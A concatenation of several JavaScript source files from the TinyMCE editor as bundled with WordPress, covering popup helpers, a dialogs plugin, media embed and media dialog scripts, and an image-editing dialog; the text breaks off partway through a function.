_restoreSelection : function() {
var e = window.event.srcElement;
if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button'))
tinyMCEPopup.restoreSelection();
},
/* _restoreSelection : function() {
var e = window.event.srcElement;
// If user focus a non text input or textarea
if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text')
tinyMCEPopup.restoreSelection();
},*/
_onDOMLoaded : function() {
var t = tinyMCEPopup, ti = document.title, bm, h, nv;
if (t.domLoaded)
return;
t.domLoaded = 1;
tinyMCEPopup.init();
// Translate page
if (t.features.translate_i18n !== false) {
h = document.body.innerHTML;
// Replace a=x with a="x" in IE
if (tinymce.isIE)
h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"')
document.dir = t.editor.getParam('directionality','');
if ((nv = t.editor.translate(h)) && nv != h)
document.body.innerHTML = nv;
if ((nv = t.editor.translate(ti)) && nv != ti)
document.title = ti = nv;
}
document.body.style.display = '';
// Restore selection in IE when focus is placed on a non textarea or input element of the type text
if (tinymce.isIE) {
document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection);
// Add base target element for it since it would fail with modal dialogs
t.dom.add(t.dom.select('head')[0], 'base', {target : '_self'});
}
t.restoreSelection();
// Set inline title
if (!t.isWindow)
t.editor.windowManager.setTitle(window, ti);
else
window.focus();
if (!tinymce.isIE && !t.isWindow) {
tinymce.dom.Event._add(document, 'focus', function() {
t.editor.windowManager.focus(t.id);
});
}
// Patch for accessibility
tinymce.each(t.dom.select('select'), function(e) {
e.onkeydown = tinyMCEPopup._accessHandler;
});
// Call onInit
// Init must be called before focus so the selection won't get lost by the focus call
tinymce.each(t.listeners, function(o) {
o.func.call(o.scope, t.editor);
});
// Move focus to window
if (t.getWindowArg('mce_auto_focus', true)) {
window.focus();
// Focus element with mceFocus class
tinymce.each(document.forms, function(f) {
tinymce.each(f.elements, function(e) {
if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) {
e.focus();
return false; // Break loop
}
});
});
}
document.onkeyup = tinyMCEPopup._closeWinKeyHandler;
},
_accessHandler : function(e) {
e = e || window.event;
if (e.keyCode == 13 || e.keyCode == 32) {
e = e.target || e.srcElement;
if (e.onchange)
e.onchange();
return tinymce.dom.Event.cancel(e);
}
},
_closeWinKeyHandler : function(e) {
e = e || window.event;
if (e.keyCode == 27)
tinyMCEPopup.close();
},
_wait : function() {
// Use IE method
if (document.attachEvent) {
document.attachEvent("onreadystatechange", function() {
if (document.readyState === "complete") {
document.detachEvent("onreadystatechange", arguments.callee);
tinyMCEPopup._onDOMLoaded();
}
});
if (document.documentElement.doScroll && window == window.top) {
(function() {
if (tinyMCEPopup.domLoaded)
return;
try {
// If IE is used, use the trick by Diego Perini
// http://javascript.nwbox.com/IEContentLoaded/
document.documentElement.doScroll("left");
} catch (ex) {
setTimeout(arguments.callee, 0);
return;
}
tinyMCEPopup._onDOMLoaded();
})();
}
document.attachEvent('onload', tinyMCEPopup._onDOMLoaded);
} else if (document.addEventListener) {
window.addEventListener('DOMContentLoaded', tinyMCEPopup._onDOMLoaded, false);
window.addEventListener('load', tinyMCEPopup._onDOMLoaded, false);
}
}
};
| JavaScript |
/**
* editor_plugin_src.js
*
* Copyright 2009, Moxiecode Systems AB
* Released under LGPL License.
*
* License: http://tinymce.moxiecode.com/license
* Contributing: http://tinymce.moxiecode.com/contributing
*/
(function() {
tinymce.create('tinymce.plugins.WPDialogs', {
init : function(ed, url) {
tinymce.create('tinymce.WPWindowManager:tinymce.InlineWindowManager', {
WPWindowManager : function(ed) {
this.parent(ed);
},
open : function(f, p) {
var t = this, element;
if ( ! f.wpDialog )
return this.parent( f, p );
else if ( ! f.id )
return;
element = jQuery('#' + f.id);
if ( ! element.length )
return;
t.features = f;
t.params = p;
t.onOpen.dispatch(t, f, p);
t.element = t.windows[ f.id ] = element;
// Store selection
t.bookmark = t.editor.selection.getBookmark(1);
// Create the dialog if necessary
if ( ! element.data('wpdialog') ) {
element.wpdialog({
title: f.title,
width: f.width,
height: f.height,
modal: true,
dialogClass: 'wp-dialog',
zIndex: 300000
});
}
element.wpdialog('open');
},
close : function() {
if ( ! this.features.wpDialog )
return this.parent.apply( this, arguments );
this.element.wpdialog('close');
}
});
// Replace window manager
ed.onBeforeRenderUI.add(function() {
ed.windowManager = new tinymce.WPWindowManager(ed);
});
},
getInfo : function() {
return {
longname : 'WPDialogs',
author : 'WordPress',
authorurl : 'http://wordpress.org',
infourl : 'http://wordpress.org',
version : '0.1'
};
}
});
// Register plugin
tinymce.PluginManager.add('wpdialogs', tinymce.plugins.WPDialogs);
})();
| JavaScript |
/**
* This script contains embed functions for common plugins. This scripts are complety free to use for any purpose.
*/
function writeFlash(p) {
writeEmbed(
'D27CDB6E-AE6D-11cf-96B8-444553540000',
'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0',
'application/x-shockwave-flash',
p
);
}
function writeShockWave(p) {
writeEmbed(
'166B1BCA-3F9C-11CF-8075-444553540000',
'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0',
'application/x-director',
p
);
}
function writeQuickTime(p) {
writeEmbed(
'02BF25D5-8C17-4B23-BC80-D3488ABDDC6B',
'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0',
'video/quicktime',
p
);
}
function writeRealMedia(p) {
writeEmbed(
'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA',
'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0',
'audio/x-pn-realaudio-plugin',
p
);
}
function writeWindowsMedia(p) {
p.url = p.src;
writeEmbed(
'6BF52A52-394A-11D3-B153-00C04F79FAA6',
'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701',
'application/x-mplayer2',
p
);
}
function writeEmbed(cls, cb, mt, p) {
var h = '', n;
h += '<object classid="clsid:' + cls + '" codebase="' + cb + '"';
h += typeof(p.id) != "undefined" ? 'id="' + p.id + '"' : '';
h += typeof(p.name) != "undefined" ? 'name="' + p.name + '"' : '';
h += typeof(p.width) != "undefined" ? 'width="' + p.width + '"' : '';
h += typeof(p.height) != "undefined" ? 'height="' + p.height + '"' : '';
h += typeof(p.align) != "undefined" ? 'align="' + p.align + '"' : '';
h += '>';
for (n in p)
h += '<param name="' + n + '" value="' + p[n] + '">';
h += '<embed type="' + mt + '"';
for (n in p)
h += n + '="' + p[n] + '" ';
h += '></embed></object>';
document.write(h);
}
| JavaScript |
(function() {
var url;
if (url = tinyMCEPopup.getParam("media_external_list_url"))
document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
function get(id) {
return document.getElementById(id);
}
function getVal(id) {
var elm = get(id);
if (elm.nodeName == "SELECT")
return elm.options[elm.selectedIndex].value;
if (elm.type == "checkbox")
return elm.checked;
return elm.value;
}
function setVal(id, value, name) {
if (typeof(value) != 'undefined') {
var elm = get(id);
if (elm.nodeName == "SELECT")
selectByValue(document.forms[0], id, value);
else if (elm.type == "checkbox") {
if (typeof(value) == 'string') {
value = value.toLowerCase();
value = (!name && value === 'true') || (name && value === name.toLowerCase());
}
elm.checked = !!value;
} else
elm.value = value;
}
}
window.Media = {
init : function() {
var html, editor;
this.editor = editor = tinyMCEPopup.editor;
// Setup file browsers and color pickers
get('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media');
get('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','quicktime_qtsrc','media','media');
get('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor');
get('video_altsource1_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource1','video_altsource1','media','media');
get('video_altsource2_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource2','video_altsource2','media','media');
get('audio_altsource1_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource1','audio_altsource1','media','media');
get('audio_altsource2_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource2','audio_altsource2','media','media');
get('video_poster_filebrowser').innerHTML = getBrowserHTML('filebrowser_poster','video_poster','media','image');
html = this.getMediaListHTML('medialist', 'src', 'media', 'media');
if (html == "")
get("linklistrow").style.display = 'none';
else
get("linklistcontainer").innerHTML = html;
if (isVisible('filebrowser'))
get('src').style.width = '230px';
if (isVisible('video_filebrowser_altsource1'))
get('video_altsource1').style.width = '220px';
if (isVisible('video_filebrowser_altsource2'))
get('video_altsource2').style.width = '220px';
if (isVisible('audio_filebrowser_altsource1'))
get('audio_altsource1').style.width = '220px';
if (isVisible('audio_filebrowser_altsource2'))
get('audio_altsource2').style.width = '220px';
if (isVisible('filebrowser_poster'))
get('video_poster').style.width = '220px';
this.data = tinyMCEPopup.getWindowArg('data');
this.dataToForm();
this.preview();
},
insert : function() {
var editor = tinyMCEPopup.editor;
this.formToData();
editor.execCommand('mceRepaint');
tinyMCEPopup.restoreSelection();
editor.selection.setNode(editor.plugins.media.dataToImg(this.data));
tinyMCEPopup.close();
},
preview : function() {
get('prev').innerHTML = this.editor.plugins.media.dataToHtml(this.data, true);
},
moveStates : function(to_form, field) {
var data = this.data, editor = this.editor, data = this.data,
mediaPlugin = editor.plugins.media, ext, src, typeInfo, defaultStates, src;
defaultStates = {
// QuickTime
quicktime_autoplay : true,
quicktime_controller : true,
// Flash
flash_play : true,
flash_loop : true,
flash_menu : true,
// WindowsMedia
windowsmedia_autostart : true,
windowsmedia_enablecontextmenu : true,
windowsmedia_invokeurls : true,
// RealMedia
realmedia_autogotourl : true,
realmedia_imagestatus : true
};
function parseQueryParams(str) {
var out = {};
if (str) {
tinymce.each(str.split('&'), function(item) {
var parts = item.split('=');
out[unescape(parts[0])] = unescape(parts[1]);
});
}
return out;
};
function setOptions(type, names) {
var i, name, formItemName, value, list;
if (type == data.type || type == 'global') {
names = tinymce.explode(names);
for (i = 0; i < names.length; i++) {
name = names[i];
formItemName = type == 'global' ? name : type + '_' + name;
if (type == 'global')
list = data;
else if (type == 'video' || type == 'audio') {
list = data.video.attrs;
if (!list && !to_form)
data.video.attrs = list = {};
} else
list = data.params;
if (list) {
if (to_form) {
setVal(formItemName, list[name], type == 'video' || type == 'audio' ? name : '');
} else {
delete list[name];
value = getVal(formItemName);
if ((type == 'video' || type == 'audio') && value === true)
value = name;
if (defaultStates[formItemName]) {
if (value !== defaultStates[formItemName]) {
value = "" + value;
list[name] = value;
}
} else if (value) {
value = "" + value;
list[name] = value;
}
}
}
}
}
}
if (!to_form) {
data.type = get('media_type').options[get('media_type').selectedIndex].value;
data.width = getVal('width');
data.height = getVal('height');
// Switch type based on extension
src = getVal('src');
if (field == 'src') {
ext = src.replace(/^.*\.([^.]+)$/, '$1');
if (typeInfo = mediaPlugin.getType(ext))
data.type = typeInfo.name.toLowerCase();
setVal('media_type', data.type);
}
if (data.type == "video" || data.type == "audio") {
if (!data.video.sources)
data.video.sources = [];
data.video.sources[0] = {src: getVal('src')};
}
}
// Hide all fieldsets and show the one active
get('video_options').style.display = 'none';
get('audio_options').style.display = 'none';
get('flash_options').style.display = 'none';
get('quicktime_options').style.display = 'none';
get('shockwave_options').style.display = 'none';
get('windowsmedia_options').style.display = 'none';
get('realmedia_options').style.display = 'none';
if (get(data.type + '_options'))
get(data.type + '_options').style.display = 'block';
setVal('media_type', data.type);
setOptions('flash', 'play,loop,menu,swliveconnect,quality,scale,salign,wmode,base,flashvars');
setOptions('quicktime', 'loop,autoplay,cache,controller,correction,enablejavascript,kioskmode,autohref,playeveryframe,targetcache,scale,starttime,endtime,target,qtsrcchokespeed,volume,qtsrc');
setOptions('shockwave', 'sound,progress,autostart,swliveconnect,swvolume,swstretchstyle,swstretchhalign,swstretchvalign');
setOptions('windowsmedia', 'autostart,enabled,enablecontextmenu,fullscreen,invokeurls,mute,stretchtofit,windowlessvideo,balance,baseurl,captioningid,currentmarker,currentposition,defaultframe,playcount,rate,uimode,volume');
setOptions('realmedia', 'autostart,loop,autogotourl,center,imagestatus,maintainaspect,nojava,prefetch,shuffle,console,controls,numloop,scriptcallbacks');
setOptions('video', 'poster,autoplay,loop,muted,preload,controls');
setOptions('audio', 'autoplay,loop,preload,controls');
setOptions('global', 'id,name,vspace,hspace,bgcolor,align,width,height');
if (to_form) {
if (data.type == 'video') {
if (data.video.sources[0])
setVal('src', data.video.sources[0].src);
src = data.video.sources[1];
if (src)
setVal('video_altsource1', src.src);
src = data.video.sources[2];
if (src)
setVal('video_altsource2', src.src);
} else if (data.type == 'audio') {
if (data.video.sources[0])
setVal('src', data.video.sources[0].src);
src = data.video.sources[1];
if (src)
setVal('audio_altsource1', src.src);
src = data.video.sources[2];
if (src)
setVal('audio_altsource2', src.src);
} else {
// Check flash vars
if (data.type == 'flash') {
tinymce.each(editor.getParam('flash_video_player_flashvars', {url : '$url', poster : '$poster'}), function(value, name) {
if (value == '$url')
data.params.src = parseQueryParams(data.params.flashvars)[name] || data.params.src;
});
}
setVal('src', data.params.src);
}
} else {
src = getVal("src");
// YouTube
if (src.match(/youtube.com(.+)v=([^&]+)/)) {
data.width = 425;
data.height = 350;
data.params.frameborder = '0';
data.type = 'iframe';
src = 'http://www.youtube.com/embed/' + src.match(/v=([^&]+)/)[1];
setVal('src', src);
setVal('media_type', data.type);
}
// Google video
if (src.match(/video.google.com(.+)docid=([^&]+)/)) {
data.width = 425;
data.height = 326;
data.type = 'flash';
src = 'http://video.google.com/googleplayer.swf?docId=' + src.match(/docid=([^&]+)/)[1] + '&hl=en';
setVal('src', src);
setVal('media_type', data.type);
}
if (data.type == 'video') {
if (!data.video.sources)
data.video.sources = [];
data.video.sources[0] = {src : src};
src = getVal("video_altsource1");
if (src)
data.video.sources[1] = {src : src};
src = getVal("video_altsource2");
if (src)
data.video.sources[2] = {src : src};
} else if (data.type == 'audio') {
if (!data.video.sources)
data.video.sources = [];
data.video.sources[0] = {src : src};
src = getVal("audio_altsource1");
if (src)
data.video.sources[1] = {src : src};
src = getVal("audio_altsource2");
if (src)
data.video.sources[2] = {src : src};
} else
data.params.src = src;
// Set default size
setVal('width', data.width || (data.type == 'audio' ? 300 : 320));
setVal('height', data.height || (data.type == 'audio' ? 32 : 240));
}
},
dataToForm : function() {
this.moveStates(true);
},
formToData : function(field) {
if (field == "width" || field == "height")
this.changeSize(field);
if (field == 'source') {
this.moveStates(false, field);
setVal('source', this.editor.plugins.media.dataToHtml(this.data));
this.panel = 'source';
} else {
if (this.panel == 'source') {
this.data = this.editor.plugins.media.htmlToData(getVal('source'));
this.dataToForm();
this.panel = '';
}
this.moveStates(false, field);
this.preview();
}
},
beforeResize : function() {
this.width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10);
this.height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10);
},
changeSize : function(type) {
var width, height, scale, size;
if (get('constrain').checked) {
width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10);
height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10);
if (type == 'width') {
this.height = Math.round((width / this.width) * height);
setVal('height', this.height);
} else {
this.width = Math.round((height / this.height) * width);
setVal('width', this.width);
}
}
},
getMediaListHTML : function() {
if (typeof(tinyMCEMediaList) != "undefined" && tinyMCEMediaList.length > 0) {
var html = "";
html += '<select id="linklist" name="linklist" style="width: 250px" onchange="this.form.src.value=this.options[this.selectedIndex].value;Media.formToData(\'src\');">';
html += '<option value="">---</option>';
for (var i=0; i<tinyMCEMediaList.length; i++)
html += '<option value="' + tinyMCEMediaList[i][1] + '">' + tinyMCEMediaList[i][0] + '</option>';
html += '</select>';
return html;
}
return "";
}
};
tinyMCEPopup.requireLangPack();
tinyMCEPopup.onInit.add(function() {
Media.init();
});
})(); | JavaScript |
var tinymce = null, tinyMCEPopup, tinyMCE, wpImage;
tinyMCEPopup = {
init: function() {
var t = this, w, li, q, i, it;
li = ('' + document.location.search).replace(/^\?/, '').split('&');
q = {};
for ( i = 0; i < li.length; i++ ) {
it = li[i].split('=');
q[unescape(it[0])] = unescape(it[1]);
}
if (q.mce_rdomain)
document.domain = q.mce_rdomain;
// Find window & API
w = t.getWin();
tinymce = w.tinymce;
tinyMCE = w.tinyMCE;
t.editor = tinymce.EditorManager.activeEditor;
t.params = t.editor.windowManager.params;
// Setup local DOM
t.dom = t.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document);
t.editor.windowManager.onOpen.dispatch(t.editor.windowManager, window);
},
getWin : function() {
return window.dialogArguments || opener || parent || top;
},
getParam : function(n, dv) {
return this.editor.getParam(n, dv);
},
close : function() {
var t = this, win = t.getWin();
// To avoid domain relaxing issue in Opera
function close() {
win.tb_remove();
tinymce = tinyMCE = t.editor = t.dom = t.dom.doc = null; // Cleanup
};
if (tinymce.isOpera)
win.setTimeout(close, 0);
else
close();
},
execCommand : function(cmd, ui, val, a) {
a = a || {};
a.skip_focus = 1;
this.restoreSelection();
return this.editor.execCommand(cmd, ui, val, a);
},
storeSelection : function() {
this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark('simple');
},
restoreSelection : function() {
var t = tinyMCEPopup;
if (tinymce.isIE)
t.editor.selection.moveToBookmark(t.editor.windowManager.bookmark);
}
}
tinyMCEPopup.init();
wpImage = {
preInit : function() {
// import colors stylesheet from parent
var win = tinyMCEPopup.getWin(), styles = win.document.styleSheets, url, i;
for ( i = 0; i < styles.length; i++ ) {
url = styles.item(i).href;
if ( url && url.indexOf('colors') != -1 )
document.write( '<link rel="stylesheet" href="'+url+'" type="text/css" media="all" />' );
}
},
I : function(e) {
return document.getElementById(e);
},
current : '',
link : '',
link_rel : '',
target_value : '',
current_size_sel : 's100',
width : '',
height : '',
align : '',
img_alt : '',
setTabs : function(tab) {
var t = this;
if ( 'current' == tab.className ) return false;
t.I('div_advanced').style.display = ( 'tab_advanced' == tab.id ) ? 'block' : 'none';
t.I('div_basic').style.display = ( 'tab_basic' == tab.id ) ? 'block' : 'none';
t.I('tab_basic').className = t.I('tab_advanced').className = '';
tab.className = 'current';
return false;
},
img_seturl : function(u) {
var t = this, rel = t.I('link_rel').value;
if ( 'current' == u ) {
t.I('link_href').value = t.current;
t.I('link_rel').value = t.link_rel;
} else {
t.I('link_href').value = t.link;
if ( rel ) {
rel = rel.replace( /attachment|wp-att-[0-9]+/gi, '' );
t.I('link_rel').value = tinymce.trim(rel);
}
}
},
imgAlignCls : function(v) {
var t = this, cls = t.I('img_classes').value;
t.I('img_demo').className = t.align = v;
cls = cls.replace( /align[^ "']+/gi, '' );
cls += (' ' + v);
cls = cls.replace( /\s+/g, ' ' ).replace( /^\s/, '' );
if ( 'aligncenter' == v ) {
t.I('hspace').value = '';
t.updateStyle('hspace');
}
t.I('img_classes').value = cls;
},
showSize : function(el) {
var t = this, demo = t.I('img_demo'), w = t.width, h = t.height, id = el.id || 's100', size;
size = parseInt(id.substring(1)) / 200;
demo.width = Math.round(w * size);
demo.height = Math.round(h * size);
t.showSizeClear();
el.style.borderColor = '#A3A3A3';
el.style.backgroundColor = '#E5E5E5';
},
showSizeSet : function() {
var t = this, s130, s120, s110;
if ( (t.width * 1.3) > parseInt(t.preloadImg.width) ) {
s130 = t.I('s130'), s120 = t.I('s120'), s110 = t.I('s110');
s130.onclick = s120.onclick = s110.onclick = null;
s130.onmouseover = s120.onmouseover = s110.onmouseover = null;
s130.style.color = s120.style.color = s110.style.color = '#aaa';
}
},
showSizeRem : function() {
var t = this, demo = t.I('img_demo'), f = document.forms[0];
demo.width = Math.round(f.width.value * 0.5);
demo.height = Math.round(f.height.value * 0.5);
t.showSizeClear();
t.I(t.current_size_sel).style.borderColor = '#A3A3A3';
t.I(t.current_size_sel).style.backgroundColor = '#E5E5E5';
return false;
},
showSizeClear : function() {
var divs = this.I('img_size').getElementsByTagName('div'), i;
for ( i = 0; i < divs.length; i++ ) {
divs[i].style.borderColor = '#f1f1f1';
divs[i].style.backgroundColor = '#f1f1f1';
}
},
imgEditSize : function(el) {
var t = this, f = document.forms[0], W, H, w, h, id;
if ( ! t.preloadImg || ! t.preloadImg.width || ! t.preloadImg.height )
return;
W = parseInt(t.preloadImg.width), H = parseInt(t.preloadImg.height), w = t.width || W, h = t.height || H, id = el.id || 's100';
size = parseInt(id.substring(1)) / 100;
w = Math.round(w * size);
h = Math.round(h * size);
f.width.value = Math.min(W, w);
f.height.value = Math.min(H, h);
t.current_size_sel = id;
t.demoSetSize();
},
demoSetSize : function(img) {
var demo = this.I('img_demo'), f = document.forms[0];
demo.width = f.width.value ? Math.round(f.width.value * 0.5) : '';
demo.height = f.height.value ? Math.round(f.height.value * 0.5) : '';
},
demoSetStyle : function() {
var f = document.forms[0], demo = this.I('img_demo'), dom = tinyMCEPopup.editor.dom;
if (demo) {
dom.setAttrib(demo, 'style', f.img_style.value);
dom.setStyle(demo, 'width', '');
dom.setStyle(demo, 'height', '');
}
},
origSize : function() {
var t = this, f = document.forms[0], el = t.I('s100');
f.width.value = t.width = t.preloadImg.width;
f.height.value = t.height = t.preloadImg.height;
t.showSizeSet();
t.demoSetSize();
t.showSize(el);
},
init : function() {
var ed = tinyMCEPopup.editor, h;
h = document.body.innerHTML;
document.body.innerHTML = ed.translate(h);
window.setTimeout( function(){wpImage.setup();}, 500 );
},
setup : function() {
var t = this, c, el, link, fname, f = document.forms[0], ed = tinyMCEPopup.editor,
d = t.I('img_demo'), dom = tinyMCEPopup.dom, DL, caption = '', dlc, pa;
document.dir = tinyMCEPopup.editor.getParam('directionality','');
if ( tinyMCEPopup.editor.getParam('wpeditimage_disable_captions', false) )
t.I('cap_field').style.display = 'none';
tinyMCEPopup.restoreSelection();
el = ed.selection.getNode();
if (el.nodeName != 'IMG')
return;
f.img_src.value = d.src = link = ed.dom.getAttrib(el, 'src');
ed.dom.setStyle(el, 'float', '');
t.getImageData();
c = ed.dom.getAttrib(el, 'class');
if ( DL = dom.getParent(el, 'dl') ) {
dlc = ed.dom.getAttrib(DL, 'class');
dlc = dlc.match(/align[^ "']+/i);
if ( dlc && ! dom.hasClass(el, dlc) ) {
c += ' '+dlc;
tinymce.trim(c);
}
tinymce.each(DL.childNodes, function(e) {
if ( e.nodeName == 'DD' && dom.hasClass(e, 'wp-caption-dd') ) {
caption = e.innerHTML;
return;
}
});
}
f.img_cap.value = caption;
f.img_title.value = ed.dom.getAttrib(el, 'title');
f.img_alt.value = ed.dom.getAttrib(el, 'alt');
f.border.value = ed.dom.getAttrib(el, 'border');
f.vspace.value = ed.dom.getAttrib(el, 'vspace');
f.hspace.value = ed.dom.getAttrib(el, 'hspace');
f.align.value = ed.dom.getAttrib(el, 'align');
f.width.value = t.width = ed.dom.getAttrib(el, 'width');
f.height.value = t.height = ed.dom.getAttrib(el, 'height');
f.img_classes.value = c;
f.img_style.value = ed.dom.getAttrib(el, 'style');
// Move attribs to styles
if ( dom.getAttrib(el, 'hspace') )
t.updateStyle('hspace');
if ( dom.getAttrib(el, 'border') )
t.updateStyle('border');
if ( dom.getAttrib(el, 'vspace') )
t.updateStyle('vspace');
if ( pa = ed.dom.getParent(el, 'A') ) {
f.link_href.value = t.current = ed.dom.getAttrib(pa, 'href');
f.link_title.value = ed.dom.getAttrib(pa, 'title');
f.link_rel.value = t.link_rel = ed.dom.getAttrib(pa, 'rel');
f.link_style.value = ed.dom.getAttrib(pa, 'style');
t.target_value = ed.dom.getAttrib(pa, 'target');
f.link_classes.value = ed.dom.getAttrib(pa, 'class');
}
f.link_target.checked = ( t.target_value && t.target_value == '_blank' ) ? 'checked' : '';
fname = link.substring( link.lastIndexOf('/') );
fname = fname.replace(/-[0-9]{2,4}x[0-9]{2,4}/, '' );
t.link = link.substring( 0, link.lastIndexOf('/') ) + fname;
if ( c.indexOf('alignleft') != -1 ) {
t.I('alignleft').checked = "checked";
d.className = t.align = "alignleft";
} else if ( c.indexOf('aligncenter') != -1 ) {
t.I('aligncenter').checked = "checked";
d.className = t.align = "aligncenter";
} else if ( c.indexOf('alignright') != -1 ) {
t.I('alignright').checked = "checked";
d.className = t.align = "alignright";
} else if ( c.indexOf('alignnone') != -1 ) {
t.I('alignnone').checked = "checked";
d.className = t.align = "alignnone";
}
if ( t.width && t.preloadImg.width ) t.showSizeSet();
document.body.style.display = '';
},
remove : function() {
var ed = tinyMCEPopup.editor, p, el;
tinyMCEPopup.restoreSelection();
el = ed.selection.getNode();
if (el.nodeName != 'IMG') return;
if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') )
ed.dom.remove(p);
else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 )
ed.dom.remove(p);
else ed.dom.remove(el);
ed.execCommand('mceRepaint');
tinyMCEPopup.close();
return;
},
update : function() {
var t = this, f = document.forms[0], ed = tinyMCEPopup.editor, el, b, fixSafari = null,
DL, P, A, DIV, do_caption = null, img_class = f.img_classes.value, html,
id, cap_id = '', cap, DT, DD, cap_width, div_cls, lnk = '', pa, aa;
tinyMCEPopup.restoreSelection();
el = ed.selection.getNode();
if (el.nodeName != 'IMG') return;
if (f.img_src.value === '') {
t.remove();
return;
}
if ( f.img_cap.value != '' && f.width.value != '' ) {
do_caption = 1;
img_class = img_class.replace( /align[^ "']+\s?/gi, '' );
}
A = ed.dom.getParent(el, 'a');
P = ed.dom.getParent(el, 'p');
DL = ed.dom.getParent(el, 'dl');
DIV = ed.dom.getParent(el, 'div');
tinyMCEPopup.execCommand("mceBeginUndoLevel");
if ( f.width.value != el.width || f.height.value != el.height )
img_class = img_class.replace(/size-[^ "']+/, '');
ed.dom.setAttribs(el, {
src : f.img_src.value,
title : f.img_title.value,
alt : f.img_alt.value,
width : f.width.value,
height : f.height.value,
style : f.img_style.value,
'class' : img_class
});
if ( f.link_href.value ) {
// Create new anchor elements
if ( A == null ) {
if ( ! f.link_href.value.match(/https?:\/\//i) )
f.link_href.value = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.link_href.value);
if ( tinymce.isWebKit && ed.dom.hasClass(el, 'aligncenter') ) {
ed.dom.removeClass(el, 'aligncenter');
fixSafari = 1;
}
tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1});
if ( fixSafari ) ed.dom.addClass(el, 'aligncenter');
tinymce.each(ed.dom.select("a"), function(n) {
if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') {
ed.dom.setAttribs(n, {
href : f.link_href.value,
title : f.link_title.value,
rel : f.link_rel.value,
target : (f.link_target.checked == true) ? '_blank' : '',
'class' : f.link_classes.value,
style : f.link_style.value
});
}
});
} else {
ed.dom.setAttribs(A, {
href : f.link_href.value,
title : f.link_title.value,
rel : f.link_rel.value,
target : (f.link_target.checked == true) ? '_blank' : '',
'class' : f.link_classes.value,
style : f.link_style.value
});
}
}
if ( do_caption ) {
cap_width = 10 + parseInt(f.width.value);
div_cls = (t.align == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp';
if ( DL ) {
ed.dom.setAttribs(DL, {
'class' : 'wp-caption '+t.align,
style : 'width: '+cap_width+'px;'
});
if ( DIV )
ed.dom.setAttrib(DIV, 'class', div_cls);
if ( (DT = ed.dom.getParent(el, 'dt')) && (DD = DT.nextSibling) && ed.dom.hasClass(DD, 'wp-caption-dd') )
ed.dom.setHTML(DD, f.img_cap.value);
} else {
if ( (id = f.img_classes.value.match( /wp-image-([0-9]{1,6})/ )) && id[1] )
cap_id = 'attachment_'+id[1];
if ( f.link_href.value && (lnk = ed.dom.getParent(el, 'a')) ) {
if ( lnk.childNodes.length == 1 )
html = ed.dom.getOuterHTML(lnk);
else {
html = ed.dom.getOuterHTML(lnk);
html = html.match(/<a[^>]+>/i);
html = html+ed.dom.getOuterHTML(el)+'</a>';
}
} else html = ed.dom.getOuterHTML(el);
html = '<dl id="'+cap_id+'" class="wp-caption '+t.align+'" style="width: '+cap_width+
'px"><dt class="wp-caption-dt">'+html+'</dt><dd class="wp-caption-dd">'+f.img_cap.value+'</dd></dl>';
cap = ed.dom.create('div', {'class': div_cls}, html);
if ( P ) {
P.parentNode.insertBefore(cap, P);
if ( P.childNodes.length == 1 )
ed.dom.remove(P);
else if ( lnk && lnk.childNodes.length == 1 )
ed.dom.remove(lnk);
else ed.dom.remove(el);
} else if ( pa = ed.dom.getParent(el, 'TD,TH,LI') ) {
pa.appendChild(cap);
if ( lnk && lnk.childNodes.length == 1 )
ed.dom.remove(lnk);
else ed.dom.remove(el);
}
}
} else {
if ( DL && DIV ) {
if ( f.link_href.value && (aa = ed.dom.getParent(el, 'a')) ) html = ed.dom.getOuterHTML(aa);
else html = ed.dom.getOuterHTML(el);
P = ed.dom.create('p', {}, html);
DIV.parentNode.insertBefore(P, DIV);
ed.dom.remove(DIV);
}
}
if ( f.img_classes.value.indexOf('aligncenter') != -1 ) {
if ( P && ( ! P.style || P.style.textAlign != 'center' ) )
ed.dom.setStyle(P, 'textAlign', 'center');
} else {
if ( P && P.style && P.style.textAlign == 'center' )
ed.dom.setStyle(P, 'textAlign', '');
}
if ( ! f.link_href.value && A ) {
b = ed.selection.getBookmark();
ed.dom.remove(A, 1);
ed.selection.moveToBookmark(b);
}
tinyMCEPopup.execCommand("mceEndUndoLevel");
ed.execCommand('mceRepaint');
tinyMCEPopup.close();
},
updateStyle : function(ty) {
var dom = tinyMCEPopup.dom, v, f = document.forms[0], img = dom.create('img', {style : f.img_style.value});
if (tinyMCEPopup.editor.settings.inline_styles) {
// Handle align
if (ty == 'align') {
dom.setStyle(img, 'float', '');
dom.setStyle(img, 'vertical-align', '');
v = f.align.value;
if (v) {
if (v == 'left' || v == 'right')
